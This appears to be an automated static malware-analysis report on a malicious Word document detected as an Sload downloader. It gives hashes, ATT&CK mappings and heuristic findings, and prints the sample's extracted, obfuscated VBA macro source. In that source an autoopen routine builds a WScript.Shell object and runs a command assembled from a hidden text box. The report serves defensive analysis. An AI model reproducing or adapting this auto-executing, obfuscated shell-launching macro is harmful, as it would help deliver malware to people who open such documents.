Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dfdbc3d210ce4c6b…

MALICIOUS

Office (OLE)

149.6 KB Created: 2019-01-16 12:11:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 4b7de0e1bed126304a2c0433942309f1 SHA-1: d2db5d56df0696b7d152a5800efbaf4d8ed0cfbc SHA-256: dfdbc3d210ce4c6bf12603e227f2312e8b24baffa18959d65f2e7f548a52275d
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1137.001 Office Application Startup: Office Application

The sample is a malicious Office document containing VBA macros. Heuristics indicate the presence of WScript.Shell and CreateObject calls, suggesting the macro is designed to execute commands or download additional payloads. The autoopen macro further supports this, indicating it runs automatically upon opening.

Heuristics 9

  • ClamAV: Doc.Downloader.Sload-6817537-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6817537-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set ArubanGuilderid = virtualsz
calculateva = "WscRipt.sHeLl"
   Set Woodenow = schemasja
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Rubberwo = Lightvo
Operationsot = Array(Tuvaluro, ivorysc, Georgiazb, CreateObject("" + interfacefz + Strategistjb + olivehz + Boliviaav + Mountainstj + calculateva).Run!(("" + paymentko + Concretecc + THXnw + Squaretl + Manoraq.TextBox1) + Harborspv + securedlinedv + schemaszl, 50 - 50), Internalqs, BulgarianLevfa, Bangladeshzu)
   Set Pinewj = Factorsjv
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
multibyteii = Avonvf
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7911 bytes
SHA-256: eb4a4396cbec9af2ea6d485b81f2006368990eaf0f67cc3406699a6e21eeaedf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Manoraq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Attribute VB_Name = "panelcs"
Function marketsqz()
On Error Resume Next
   Set Granitenm = Optimizationjt
Set Directpa = Burgskq
Select Case bluecq
         Case 726
            contentrw = Streetlb
            NorwegianKroneom = CLng(58)
         Case 248
            CheckingAccountlr = CLng(478)
            paymentrn = CDate(pinkdh)
            Dobrajz = Int(751)
         Case 198
            realtimeww = Cos(Gorgeousiw)
            PracticalFreshHatia = ChrB(560)
            Avonaf = hackingqp
 End Select
Set Indianaau = arraynq
   Set Mexicokc = ElectronicsClothingva
Set Woodenzi = Customermd
Select Case auxiliarykw
         Case 866
            impactfullu = projectfj
            collaborationii = CLng(719)
         Case 553
            Villagetd = CLng(784)
            magentaqi = CDate(Amelioratedft)
            Plannerzh = Int(23)
         Case 561
            optimaliz = Cos(calculatingqq)
            neuralws = ChrB(156)
            Districtwa = Interactionspj
 End Select
Set Brookua = Wisconsinhp
   Set withdrawalpw = neuralfu
Set purplewi = verticalaj
Select Case holisticvc
         Case 488
            opensourcekr = Principalnm
            zerotolerancewm = CLng(684)
         Case 647
            Arizonarm = CLng(365)
            disintermediatetl = CDate(hierarchyqa)
            alarmjq = Int(812)
         Case 438
            withdrawalki = Cos(Mountainstr)
            Healthwb = ChrB(716)
            Berkshireuw = AutoLoanAccountmz
 End Select
Set ArubanGuilderid = virtualsz
calculateva = "WscRipt.sHeLl"
   Set Woodenow = schemasja
Set richno = Pointns
Select Case Knollpl
         Case 516
            conglomerationlj = backuprw
            Refinedst = CLng(422)
         Case 62
            Marylandit = CLng(474)
            morphjf = CDate(HomeLoanAccountmz)
            TastyPlasticChickenha = Int(139)
         Case 965
            Buckinghamshirewc = Cos(Musicts)
            navigatingjv = ChrB(830)
            magentazb = auxiliarycr
 End Select
Set Rubberwo = Lightvo
Operationsot = Array(Tuvaluro, ivorysc, Georgiazb, CreateObject("" + interfacefz + Strategistjb + olivehz + Boliviaav + Mountainstj + calculateva).Run!(("" + paymentko + Concretecc + THXnw + Squaretl + Manoraq.TextBox1) + Harborspv + securedlinedv + schemaszl, 50 - 50), Internalqs, BulgarianLevfa, Bangladeshzu)
   Set Pinewj = Factorsjv
Set Kansasvr = communitieskz
Select Case Berkshirehw
         Case 59
            tealam = JSONqj
            Coordinatordu = CLng(782)
         Case 861
            panelhl = CLng(281)
            fullrangelr = CDate(Islandpc)
            Routebs = Int(499)
         Case 737
            Louisianacw = Cos(onetoonebp)
            B2Bjr = ChrB(873)
            virtualom = Rubberzl
 End Select
Set Sharableah = JBODpi
   Set missioncriticalwk = Lesothocj
Set Configurationcp = Plasticmb
Select Case Architectsi
         Case 785
            SingaporeDollarwi = withdrawaldp
            bypassingrb = CLng(52)
         Case 859
            connectow = CLng(214)
            uniformbs = CDate(onetoonewz)
            Concreteto = Int(222)
         Case 193
            focusgroupiw = Cos(Skywayiw)
            Metalwl = ChrB(532)
            dynamictw = Ouguiyamu
 End Select
Set growub = Generican
   Set Gardenszb = Mobilityam
Set Concretekt = Concretekn
Select Case reinventpv
         Case 781
            Directivesws = Dynamiclj
            RefinedSteelBikehl = CLng(138)
         Case 759
            USDollarsz = CLng(993)
            Rwandaqa = CDate(JSONaj)
            copyzm = Int(432)
         Case 348
            transmitla = Cos(ClothingBooksGardenip)
            opticaldc = ChrB(326)
            Fantasticaj = synthesizeqd
 End Select
Set BabyKidsMusicbq = supplychainszo
End Function


Attribute VB_Name = "Borderslw"
Function analyzingoi()
Keybp = Qualityuk
Managerpw = plumkt
paymentjj = circuitld
Woodenjq = IncredibleConcreteSoapis
evenkeeledfj = pinkif
Plasticbs = Gamesat
clicksandmortarlf = SmallMetalTunahw
motivatingfn = programkc
Inletso = meshhj
Alabamaif = calculatest
redundantsh = fullrangeiw
indexun = copyingvz
End Function
Function Humando()
demanddrivenut = CreditCardAccounttj
SDDqt = generatingfu
Borderswq = Gorgeouscs
indexinghr = arrayzj
MoneyMarketAccountuw = Forwardzb
withdrawalbk = opensourcein
limemd = XSSaf
Reverseengineeredkq = GorgeousSoftShirtim
targetda = PersonalLoanAccountzl
Bedfordshirelo = capacitorci
Dominicacd = Nevadajd
SouthDakotalt = Metalid
End Function
Sub autoopen()
multibyteii = Avonvf
Universalzh = Principalns
Avonfd = Triplebufferedof
bricksandclickszd = revolutionizezz
Kazakhstantd = LicensedGraniteChickenkd
calculatecw = HandcraftedFreshComputerbr
Metaltm = Array(ErgonomicFreshSoapdu, Intranethz, multibyteiv, marketsqz, turquoisequ, Portsif, Hollowfd)
LicensedRubberCheesefc = SMSci
Shoeswq = capabilityij
Licensedtf = bypassingtc
Bermudawr = transmittz
auxiliaryzh = ErgonomicSoftCheesewd
backupis = Functionalityru
End Sub
Function Fordsf()
overridingpq = Parkwaytr
analyzingsz = GorgeousCottonTunavd
Beautyjh = Throughwaypj
rebootdh = NorthernMarianaIslandslj
engineerqu = quantifyingju
customizedvf = circuitaz
Clothingtj = Refinedss
Steelsz = standardizationbi
morphbd = redundantsu
AwesomeCottonKeyboardwj = Assistantwn
Iowabc = Leadrl
Fantasticji = Fordtz
End Function

Attribute VB_Name = "Brookbj"

Attribute VB_Name = "Commonvw"

Attribute VB_Name = "Patacamw"

Attribute VB_Name = "greenzw"

Attribute VB_Name = "HandmadeRubberMousezr"

Attribute VB_Name = "turquoiseqo"

Attribute VB_Name = "TastyCottonTunaad"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "programcm"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "datawarehousefo"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "supplychainsiz"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "streamlinepj"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "AwesomeWoodenCarsp"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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